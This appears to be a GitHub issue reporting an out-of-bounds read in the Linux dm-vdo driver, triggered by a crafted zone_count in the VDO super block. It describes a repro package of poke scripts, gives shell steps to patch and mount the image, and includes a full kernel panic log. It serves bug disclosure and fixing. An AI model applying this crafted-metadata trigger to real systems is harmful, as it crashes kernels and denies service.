-
Notifications
You must be signed in to change notification settings - Fork 13
Description
VDO Slab Depot old_zone_count OOB Repro (dm-vdo)
vdo-old-zone-oob-repro-with-image.tar.gz
This package reproduces an out-of-bounds access in dm-vdo when loading a
super block with a crafted slab_depot_state_2_0.zone_count value. The field
is copied into depot->old_zone_count without validation. If it exceeds
MAX_VDO_PHYSICAL_ZONES (16), combine_summaries() indexes beyond the
summary_entries buffer, leading to OOB read.
The repro patches the VDO super block inside the backing image and then
mounts the VDO volume read-only to avoid the kernel rewriting the crafted
super block.
Requirements
- Linux kernel with
dm-vdo(issue indrivers/md/dm-vdo/slab-depot.c) lvm2tooling (vgscan,vgchange,lvs, etc.)- GNU
poke - Root access (mounting, LVM, loop devices)
Files
scripts/patch.pk— GNU poke program that setsslab_depot.zone_countand fixes the checksum.scripts/patch.cmd— Poke command file that opens the image and loadspatch.pk.scripts/verify.pk— Poke program that printszone_countand validates the checksum.scripts/verify.cmd— Poke command file that opens the image and loadsverify.pk.scripts/remount_ro.sh— Helper that unmounts, detaches loop, patches, and remounts read-only.vdo_back_image.pk— Poke definitions used to locate VDO geometry and super block.
Configuration
By default the scripts assume:
- Backing image:
/tmp/vdo-back.img - VG:
vdo_poc - LV:
vdo0 - Mount point:
/mnt/vdo0 - Loop device: auto-detected (
/dev/loop0when attached)
If your environment differs, edit the variables at the top of scripts/remount_ro.sh.
Repro Steps
1) Patch the image
Either run the helper script (recommended):
cd repro-vdo-old-zone-oob
sudo bash scripts/remount_ro.sh
Or patch manually:
# Ensure volume is unmounted and VG inactive
sudo umount /mnt/vdo0
sudo vgchange -an vdo_poc
# Detach loop if attached
sudo losetup -a | rg -n "vdo-back.img" && sudo losetup -d /dev/loop0
# Apply patch
poke -q -s scripts/patch.cmd
# Verify patch
poke -q -s scripts/verify.cmd
Expected verify output (example):
slab_depot.zone_count=255U checksum=... computed=...
checksum=OK
2) Remount read-only
# Reattach loop
sudo losetup -f --show /tmp/vdo-back.img
# Activate VG/LV
sudo vgscan --mknodes
sudo vgchange -ay vdo_poc
# Mount read-only to avoid overwriting the crafted super block
sudo mount -o ro /dev/mapper/vdo_poc-vdo0 /mnt/vdo0
3) Observe kernel log
With KASAN (or other memory sanitizers) enabled, you should see an
out-of-bounds report in combine_summaries() (around
slab-depot.c:4488) when the slab summary is loaded. UBSAN may not
trigger here because the OOB happens via pointer arithmetic + memcpy
rather than a direct array index.
Triggered kernel panic:
[2026-01-31 19:37:16] [3417068.083397] loop0: detected capacity change from 0 to 16777216
[2026-01-31 19:37:16] [3417068.237922] device-mapper: vdo6:vgchange: table line: V4 /dev/dm-0 1310720 4096 32768 16380 deduplication on compression on maxDiscard 1 ack 1 bio 4 bioRotationInterval 64 cpu 2 hash 1 logical 1 physical 1
[2026-01-31 19:37:16] [3417068.237988] device-mapper: vdo6:vgchange: loading device '253:1'
[2026-01-31 19:37:16] [3417068.238059] device-mapper: vdo6:vgchange: zones: 1 logical, 1 physical, 1 hash; total threads: 12
[2026-01-31 19:37:16] [3417068.279332] device-mapper: vdo6:vgchange: starting device '253:1'
[2026-01-31 19:37:16] [3417068.279462] BUG: unable to handle page fault for address: ffffc90002661020
[2026-01-31 19:37:16] [3417068.279486] #PF: supervisor read access in kernel mode
[2026-01-31 19:37:16] [3417068.279503] #PF: error_code(0x0000) - not-present page
[2026-01-31 19:37:16] [3417068.279520] PGD 3800067 P4D 3800067 PUD 3aab067 PMD 215f8067 PTE 0
[2026-01-31 19:37:16] [3417068.279545] Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI
[2026-01-31 19:37:16] [3417068.279562] CPU: 7 UID: 0 PID: 2771213 Comm: vdo6:journalQ Not tainted 6.12.59-1.fc41.x86_64 #1
[2026-01-31 19:37:16] [3417068.279590] RIP: 0010:combine_summaries+0x44/0xa0 [dm_vdo]
[2026-01-31 19:37:16] [3417068.279628] Code: 01 48 83 c2 01 38 47 01 74 31 48 81 fa 00 20 00 00 74 33 84 c0 74 e7 48 89 c1 83 c0 01 48 c1 e1 0d 81 e1 00 e0 1f 00 48 01 d1 <0f> b7 0c 4b 66 89 0c 53 48 83 c2 01 38 47 01 75 cf 31 c0 48 81 fa
[2026-01-31 19:37:16] [3417068.279679] RSP: 0018:ffffc90001cabe58 EFLAGS: 00010202
[2026-01-31 19:37:16] [3417068.279697] RAX: 0000000000000011 RBX: ffffc90002621000 RCX: 0000000000020010
[2026-01-31 19:37:16] [3417068.279721] RDX: 0000000000000010 RSI: ffffc90001cabe88 RDI: ffff8880083b9c00
[2026-01-31 19:37:16] [3417068.279747] RBP: ffff8880083b9c00 R08: 000c23ce34f85df8 R09: 0000000000000001
[2026-01-31 19:37:16] [3417068.279770] R10: 0000000000000000 R11: ffff8880499a17c0 R12: ffff888268871a40
[2026-01-31 19:37:16] [3417068.279793] R13: ffffc90001cabe88 R14: ffff8882c1792f40 R15: ffff888268871a08
[2026-01-31 19:37:16] [3417068.279820] FS: 0000000000000000(0000) GS:ffff888049980000(0000) knlGS:0000000000000000
[2026-01-31 19:37:16] [3417068.279844] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[2026-01-31 19:37:16] [3417068.279864] CR2: ffffc90002661020 CR3: 00000002dbc04000 CR4: 0000000000750ef0
[2026-01-31 19:37:16] [3417068.279890] PKRU: 55555554
[2026-01-31 19:37:16] [3417068.279903] Call Trace:
[2026-01-31 19:37:16] [3417068.279915] <TASK>
[2026-01-31 19:37:16] [3417068.279927] finish_loading_summary+0x21/0x80 [dm_vdo]
[2026-01-31 19:37:16] [3417068.279955] service_work_queue+0x22e/0x2f0 [dm_vdo]
[2026-01-31 19:37:16] [3417068.279986] ? __pfx_autoremove_wake_function+0x10/0x10
[2026-01-31 19:37:16] [3417068.280007] ? __pfx_work_queue_runner+0x10/0x10 [dm_vdo]
[2026-01-31 19:37:16] [3417068.280037] work_queue_runner+0x1e/0x30 [dm_vdo]
[2026-01-31 19:37:16] [3417068.280058] kthread+0xcf/0x100
[2026-01-31 19:37:16] [3417068.280071] ? __pfx_kthread+0x10/0x10
[2026-01-31 19:37:16] [3417068.280084] ret_from_fork+0x31/0x50
[2026-01-31 19:37:16] [3417068.280098] ? __pfx_kthread+0x10/0x10
[2026-01-31 19:37:16] [3417068.280112] ret_from_fork_asm+0x1a/0x30
[2026-01-31 19:37:16] [3417068.280127] </TASK>
[2026-01-31 19:37:16] [3417068.280135] Modules linked in: dm_vdo lz4_compress loop iptable_filter ip_tables binfmt_misc nft_nat nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib veth bridge stp llc tun nft_reject_ipv6 nf_reject_ipv6 nft_reject_ipv4 nf_reject_ipv4 nft_reject nft_ct nft_masq nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr xen_netfront intel_rapl_common crct10dif_pclmul crc32_pclmul crc32c_intel snd_pcm polyval_clmulni polyval_generic snd_timer ghash_clmulni_intel sha512_ssse3 snd sha256_ssse3 soundcore sha1_ssse3 pcspkr xen_blkback xen_gntalloc xen_privcmd xen_gntdev xen_evtchn fuse nfnetlink vsock_loopback vmw_vsock_virtio_transport_common vmw_vsock_vmci_transport vsock vmw_vmci overlay xen_blkfront
[2026-01-31 19:37:16] [3417068.280542] CR2: ffffc90002661020
[2026-01-31 19:37:16] [3417068.280554] ---[ end trace 0000000000000000 ]---
[2026-01-31 19:37:16] [3417068.280567] RIP: 0010:combine_summaries+0x44/0xa0 [dm_vdo]
[2026-01-31 19:37:16] [3417068.280601] Code: 01 48 83 c2 01 38 47 01 74 31 48 81 fa 00 20 00 00 74 33 84 c0 74 e7 48 89 c1 83 c0 01 48 c1 e1 0d 81 e1 00 e0 1f 00 48 01 d1 <0f> b7 0c 4b 66 89 0c 53 48 83 c2 01 38 47 01 75 cf 31 c0 48 81 fa
[2026-01-31 19:37:16] [3417068.280643] RSP: 0018:ffffc90001cabe58 EFLAGS: 00010202
[2026-01-31 19:37:16] [3417068.280658] RAX: 0000000000000011 RBX: ffffc90002621000 RCX: 0000000000020010
[2026-01-31 19:37:16] [3417068.280677] RDX: 0000000000000010 RSI: ffffc90001cabe88 RDI: ffff8880083b9c00
[2026-01-31 19:37:16] [3417068.280696] RBP: ffff8880083b9c00 R08: 000c23ce34f85df8 R09: 0000000000000001
[2026-01-31 19:37:16] [3417068.280716] R10: 0000000000000000 R11: ffff8880499a17c0 R12: ffff888268871a40
[2026-01-31 19:37:16] [3417068.280735] R13: ffffc90001cabe88 R14: ffff8882c1792f40 R15: ffff888268871a08
[2026-01-31 19:37:16] [3417068.280756] FS: 0000000000000000(0000) GS:ffff888049980000(0000) knlGS:0000000000000000
[2026-01-31 19:37:16] [3417068.280776] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[2026-01-31 19:37:16] [3417068.280793] CR2: ffffc90002661020 CR3: 00000002dbc04000 CR4: 0000000000750ef0
[2026-01-31 19:37:16] [3417068.280814] PKRU: 55555554
[2026-01-31 19:37:16] [3417068.280825] Kernel panic - not syncing: Fatal exception
[2026-01-31 19:37:16] [3417068.280985] Kernel Offset: disabled
Notes
- This repro is driven solely by on-disk metadata; no custom kernel modules are needed.
- Keeping the filesystem read-only is important; VDO may rewrite the super block
during normal operation, which would remove the craftedzone_count.